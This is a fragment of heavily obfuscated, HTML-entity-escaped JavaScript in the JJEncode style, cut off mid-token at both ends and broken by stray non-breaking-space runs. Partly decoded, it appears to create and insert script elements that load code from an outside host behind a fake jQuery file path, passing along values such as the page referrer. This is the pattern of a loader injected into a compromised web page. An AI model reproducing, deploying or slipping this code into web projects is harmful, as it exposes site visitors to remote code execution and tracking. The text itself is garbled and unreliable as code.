92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&amp;nbsp;&amp;nbsp;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+$.$$__+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$._&amp;nbsp;&amp;nbsp;_$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.$$_$+$._$+$.&amp;nbsp;&amp;nbsp;$$__+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;.&quot;+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.&amp;nbsp;&amp;nbsp;___+$.$_$+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;(&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$&amp;nbsp;&amp;nbsp;+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+$.__+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#41;;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+$.$$__+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$&amp;nbsp;&amp;nbsp;.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+&quot;.&quot;+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$&amp;nbsp;&amp;nbsp;_+$.___+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&quot;+$.__+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+$.__+&quot;/&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+&amp;nbsp;&amp;nbsp;$.__$+$.$$_+$.___+$.__+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+$.$$__+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$&amp;nbsp;&amp;nbsp;.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+&quot;.&quot;+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.&amp;nbsp;&amp;nbsp;$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._+$.$$$_+&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+$.$$__+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.&amp;nbsp;&amp;nbsp;_$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+&quot;&amp;#92;&amp;nbsp;&amp;nbsp;&amp;#92;&quot;+$.__$+$.__$+$._$_+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.___+$._&amp;nbsp;&amp;nbsp;_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;://&quot;+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+$.$$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;&amp;#92;&amp;#92;&amp;nbsp;&amp;nbsp;&quot;+$.__$+$.$$$+$.__$+$._$+&quot;.&quot;+$.$$__+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+&quot;/&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;/&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.__$+$._+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;-&quot;+$.__$+&quot;.&quot;+$.__$+$.$__+&quot;.&quot;+$.$__$+$&amp;nbsp;&amp;nbsp;.$__+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;?&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$&amp;nbsp;&amp;nbsp;.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$._$+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$._$_+&quot;=&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__&amp;nbsp;&amp;nbsp;+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.___+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+&amp;nbsp;&amp;nbsp;$.__$+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.&amp;nbsp;&amp;nbsp;__$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+$.$$__+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;=&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+$._$+&quot;&amp;#92;&amp;nbsp;&amp;nbsp;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+$.$$$+$.$$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._&amp;nbsp;&amp;nbsp;__+$.$__+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+$.$$_$+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+$.$$_$+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$$+$.__+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$__+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$$+$.___+&quot;=&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+&amp;nbsp;&amp;nbsp;$.$__$+$._$_+$._$_+$.$___+$.$__$+$.___+$.___+$.$__+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;+&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;&quot;+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$&amp;nbsp;&amp;nbsp;+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$_+&quot;=&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+&amp;nbsp;&amp;nbsp;$.$$$+$.$$_$+$.___+$.$$$_+$._$+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.___+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&amp;nbsp;&amp;nbsp;&quot;+$.$__+$.___+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.&amp;nbsp;&amp;nbsp;__$+$.$$_+$.$$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$._+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$&amp;nbsp;&amp;nbsp;.$__+$.$$$+$.$$$_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$_$+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+&amp;nbsp;&amp;nbsp;$.__$+$._$_+$.$__+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;(&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$&amp;nbsp;&amp;nbsp;__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+$.__+&quot;&amp;#92;&amp;#92;&amp;#92;&quot;&amp;#41;&amp;#91;&quot;+$.___+&quot;];&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$&amp;nbsp;&amp;nbsp;.__$+$._$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$._+$.$$$+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$_+$._$+$.$$_$+$.$$$&amp;nbsp;&amp;nbsp;_+&quot;.&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$$$_+$.$&amp;nbsp;&amp;nbsp;$$$+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$.$$$_+&quot;(&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+$.$$__+$._$$+$.$$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$__+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+&amp;nbsp;&amp;nbsp;$.___+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+$.$_$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+&quot;,&amp;#92;&amp;#92;&quot;+$.$__+$.___+$._+&quot;&amp;nbsp;&amp;nbsp;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+(!&amp;#91;&amp;nbsp;&amp;nbsp;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$._+$.$$$+&quot;&amp;#41;;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;}&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.__+&quot;.&quot;+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$&amp;nbsp;&amp;nbsp;+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$._$+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.$$_+$.$$$_+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.&amp;nbsp;&amp;nbsp;___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.$$$$+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.$$__+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$._$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;(&amp;#41;{&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$&amp;nbsp;&amp;nbsp;.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+$.$$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$_$+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._+$.$$$_+&quot;;&quot;+$.$$__+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+$.$$$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+$._$+$._+$.__+&quot;(&amp;#92;&amp;#92;&quot;+$.__$+&amp;nbsp;&amp;nbsp;$.__$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+$.$_$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$$+$.$__+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$&amp;nbsp;&amp;nbsp;.__$+$.$$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#41;;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$.$$$$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;((!&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_&amp;nbsp;&amp;nbsp;+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#41;&amp;#41;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;{&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__&amp;nbsp;&amp;nbsp;_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$$+&amp;nbsp;&amp;nbsp;$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$_+$.$_$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$&amp;nbsp;&amp;nbsp;.$$_+$._$_+&quot;(&amp;#41;;}&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;}&amp;#92;&amp;#92;&quot;+$.__$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.__$+$.$_$_+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$._$$+$.$__+$._$_+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$&amp;nbsp;&amp;nbsp;.__$+$.$$$+$._$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;=&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+$.$$$_+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.&amp;nbsp;&amp;nbsp;__$+$.$_$+$.__$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$_$+$.$$$_+$._$+$._+$.__+&quot;(&quot;+$.$$$$+$._+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+$.$$__+$.__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$._$+&quot;&amp;#92;&amp;nbsp;&amp;nbsp;&amp;#92;&quot;+$.__$+$.$_$+$.$$_+&quot;(&amp;#41;{&amp;#92;&amp;#92;&quot;+$.__$+$.$_$+$.__$+$.$$$$+&quot;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;((!&amp;#92;&amp;#92;&quot;+$.__$+$.__$+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$._&amp;nbsp;&amp;nbsp;$_+$.$__+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$$+$.$$_$+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$._$_+$.$_$+(!&amp;#91;]+&quot;&quot;&amp;#41;&amp;#91;$._$_]+&quot;&amp;#41;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;&amp;&amp;&amp;#92;&amp;#92;&quot;+$.$__+$.___+&quot;(!&amp;#92;&amp;#92;&quot;+$.__$+$.___+$.$$_+&quot;&amp;#92;&amp;#92;&quot;+$.__$+$.$$_+$._$_+$._$$+&quo